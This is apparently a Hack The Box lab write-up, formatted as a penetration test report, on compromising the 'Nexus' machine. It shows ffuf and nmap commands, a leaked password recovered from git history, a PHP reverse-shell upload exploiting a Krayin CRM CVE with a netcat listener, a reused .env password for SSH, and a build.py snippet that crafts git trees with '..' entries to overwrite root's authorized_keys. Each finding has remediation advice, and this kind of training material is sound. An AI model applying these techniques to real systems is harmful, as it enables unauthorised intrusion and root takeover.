

PENETRATION TEST REPORT

Hack The Box // Nexus

Date	02 Jul 2026
Target	10.129.45.45 (nexus.htb)
Tester	4ss3m
Classification	CONFIDENTIAL
Status	Completed — Machine Pwned (#920)
Points Earned	450 XP

1. Executive Summary

A penetration test was conducted against the Hack The Box machine **Nexus** (10.129.45.45) on 02 Jul 2026. The assessment identified a four-stage attack chain resulting in full root-level compromise. The target hosted a static landing page, a self-hosted **Gitea** instance, and a **Krayin CRM** application. Credential leakage from a public Gitea repository — including a password exposed in git history — provided access to the CRM, which was vulnerable to an unauthenticated file-upload RCE (**CVE-2026-38526**). Post-exploitation enumeration of the CRM configuration files revealed SSH credentials for user **jones**. Finally, a root-owned Gitea template-sync service was abused via an unsanitised **os.path.join()** path traversal to write a malicious SSH key to **/root/.ssh/authorized_keys**.

Finding	Severity	Status
Gitea Public Repo — Credential Leak in Git History	HIGH	Confirmed
Krayin CRM File-Upload RCE (CVE-2026-38526)	CRITICAL	Confirmed
Cleartext SSH Credentials in CRM .env File	HIGH	Confirmed
Gitea Template-Sync — os.path.join Path Traversal	CRITICAL	Confirmed

2. Scope & Methodology

Target IP	10.129.45.45
Hostname	nexus.htb / git.nexus.htb / billing.nexus.htb
OS	Ubuntu 24.04.4 LTS (kernel 6.8.0-111-generic)
Services	SSH/22, HTTP/80 (nginx 1.24.0), Gitea 1.26.0, Krayin CRM 2.2.0
Test Type	Black-box penetration test
VPN	tun0 — 10.10.17.21
01 Reconnaissance	Nmap port scan; vhost fuzzing with ffuf; Gitea enumeration
02 Vulnerability ID	Git history review; Krayin CRM version fingerprinting; CVE lookup
03 Initial Access	CVE-2026-38526 PHP file-upload RCE → reverse shell as www-data
04 Credential Theft	CRM .env disclosure → SSH as jones (user flag)
05 Privilege Esc.	Gitea template-sync path traversal → SSH key write → root

3. Reconnaissance

3.1 Port Scan

Nmap revealed SSH on 22 and nginx on 80, which redirected to **nexus.htb**.

```
nmap -sCV nexus.htb
22/tcp open  ssh      OpenSSH 9.6p1 Ubuntu
80/tcp open  http      nginx/1.24.0
|_http-title: Did not follow redirect to http://nexus.htb/
```

3.2 Vhost Fuzzing

The landing page was a static government energy website with no interactive endpoints. Fuzzing virtual hosts (filtering default size 49296) revealed two live subdomains.

```
ffuf -u http://nexus.htb -H 'Host: FUZZ.nexus.htb' \
-w subdomains-top1million-5000.txt -fs 49296

git      [Status: 200, Size: 14474]  <- Gitea instance
billing  [Status: 302, Size: 390]    <- Krayin CRM
```

3.3 Gitea Enumeration

Gitea v1.26.0 at **git.nexus.htb** was publicly accessible. The users API confirmed two accounts: **admin** and **jones**. One public repository was found: **admin/krayin-docker-setup**.

```
GET /api/v1/repos/search?q&limit;=50
→ {"name":"krayin-docker-setup","private":false,"email":"admin@nexus.htb"}
```

4. Credential Leak via Git History

The repository contained **.env**, **docker-compose.yml**, and a binary **documents** file. The current **.env** had an empty **DB_PASSWORD**. Inspecting git history revealed a real password removed in a subsequent commit — a common developer mistake. Git history is permanent; deleted secrets remain fully visible to any unauthenticated visitor.

```
GET /admin/krayin-docker-setup/commit/1615c465b7...

- DB_PASSWORD=N27xh!!2ucY04      <- removed
+ DB_PASSWORD=                    <- current
```

The **.env** also confirmed the CRM URL (**billing.nexus.htb**) and hiring manager email **j.matthew@nexus.htb**, providing the login username.

5. Initial Access — Krayin CRM RCE (CVE-2026-38526)

The Krayin CRM at **billing.nexus.htb** was accessed with **j.matthew@nexus.htb / N27xh!!2ucY04**. The dashboard footer confirmed version **2.2.0**, which is affected by CVE-2026-38526: the TinyMCE email attachment endpoint accepts arbitrary PHP files. A PHP reverse shell was uploaded via Mail → Compose, intercepted in Burp Suite, and the filename extension renamed from **.png** to **.php** before forwarding.

```
Content-Disposition: form-data; name="file"; filename="php-reverse-shell.php"
Content-Type: application/x-php

Response → {"location": "http://billing.nexus.htb/storage/tinymce/.php"}
```

Visiting the uploaded URL with a Netcat listener active returned a shell as **www-data**.

```
nc -lvnp 4455
connect to [10.10.17.21] from nexus.htb
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

6. Lateral Movement — SSH as jones

The live Krayin CRM **.env** file was readable by **www-data** and contained database credentials in plaintext. The DB password was reused as the OS password for user **jones**, allowing direct SSH login.

```
www-data@nexus:~/krayin$ cat .env
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

ssh jones@10.129.45.45 # password: y27xb3ha!!74GbR
jones@nexus:~$ cat user.txt
591b8f5d6769518e5ab5601c76d0a3fb
```

7. Privilege Escalation — Gitea Template-Sync

7.1 Vulnerable Service

systemctl list-timers revealed a root-owned **gitea-template-sync.timer** running every 60 seconds. The script at **/etc/gitea/template-sync.py** clones all Gitea template repositories and writes their files to a staging directory using an unsanitised **os.path.join()** call:

```
target = os.path.join(stage_path, filepath) # filepath from git ls-tree — no sanitisation
os.makedirs(os.path.dirname(target), exist_ok=True)
open(target, 'wb').write(cat_result.stdout)
```

Because **filepath** comes directly from **git ls-tree** output, a path containing **../** sequences resolves outside the staging directory. Running as root, the service can write to any location on the filesystem.

7.2 Exploit

A new Gitea repository **jones/rce** was created and marked as a **template**. A custom Python script (**build.py**) constructed raw git objects containing a path-traversal blob pointing to **/root/.ssh/authorized_keys**, bypassing git's normal **verify_path()** checks by writing directly to **.git/objects/**.

```
# build.py — path traversal tree construction
blob = write_obj(public_key, 'blob')
ssh_t = write_obj(entry('100644', 'authorized_keys', blob), 'tree')
cur = write_obj(entry('40000', '.ssh', ssh_t), 'tree')
fir = write_obj(entry('40000', 'root', cur), 'tree')
for _ in range(4):
    fir = write_obj(entry('40000', '..', fir), 'tree') # 5 levels up
git push -u origin main --force
```

After force-pushing, the sync service picked up the template within 60 seconds and wrote the SSH public key to **/root/.ssh/authorized_keys**.

```
tail -f /var/log/template-sync.log
[2026-07-02 22:50:15] synced: README.md
[2026-07-02 22:50:15] synced: ../../../../../../root/.ssh/authorized_keys

ssh -i /tmp/.k root@127.0.0.1
root@nexus:~# cat root.txt
253c6a975d7a43799178ae3ee018bdcc
```

8. Vulnerability Findings

Finding 1 — Gitea Repo: Password Exposed in Git History [HIGH]

Location	git.nexus.htb — admin/krayin-docker-setup (commit 1615c465b7)
Description	A live database password was committed to a public repository then removed. Git history is permanent; any user can view the history.
Impact	Full access to the Krayin CRM and its database without valid credentials.
Remediation	Rotate all secrets immediately after accidental commit. Use git-filter-repo or BFG to purge history. Add pre-commit hooks to prevent future commits.

Finding 2 — Krayin CRM File-Upload RCE (CVE-2026-38526) [CRITICAL]

Location	billing.nexus.htb — /admin/mail/create (TinyMCE attachment upload)
Description	Krayin CRM 2.2.0 allows authenticated users to upload arbitrary PHP files via the email attachment endpoint.
Impact	Remote code execution on the server as www-data.
Remediation	Upgrade Krayin CRM to a patched version. Enforce strict server-side MIME validation and restrict uploaded file types.

Finding 3 — Cleartext Credentials in CRM .env File [HIGH]

Location	/var/www/html/krayin/.env
Description	The application .env file containing live database credentials was readable by the www-data service account.
Impact	Immediate lateral movement from www-data to a full SSH session as jones.
Remediation	Store secrets in a secrets manager or inject at runtime. Restrict .env permissions. Enforce unique passwords for all services.

Finding 4 — Gitea Template-Sync os.path.join Path Traversal [CRITICAL]

Location	/etc/gitea/template-sync.py (root, every 60 s)
Description	The template-sync service passes raw git ls-tree file paths directly to os.path.join() without sanitising ../ sequences.
Impact	Any local user with a Gitea account can escalate to root by writing an SSH key to /root/.ssh/authorized_keys.
Remediation	Sanitise all paths from git ls-tree (strip or reject ../ components). Assert resolved paths stay within the staging directory.

9. Recommendations

#	Severity	Recommendation
1	CRITICAL	Patch Krayin CRM; enforce server-side file extension and MIME validation
2	CRITICAL	Sanitise git ls-tree paths in template-sync.py; drop root privileges for the service
3	HIGH	Purge leaked credential from Gitea history (BFG / git-filter-repo); rotate secrets
4	HIGH	Move .env outside webroot; restrict permissions to the app service account only
5	HIGH	Eliminate password reuse between application credentials and OS accounts
6	MEDIUM	Enforce a strong password policy and unique credentials per service

10. Conclusion

The Nexus machine demonstrated a realistic multi-stage attack chain linking weak secrets management, an unpatched CRM, credential reuse, and an insecure privileged service. The critical path was: **vhost discovery** → **git history credential leak** → **Krayin CRM RCE (CVE-2026-38526)** → **.env credential reuse** → **SSH as jones** → **Gitea template-sync path traversal** → **root**. Hardening any single link — particularly rotating the leaked git credential or sanitising the sync script's path handling — would have broken the entire chain.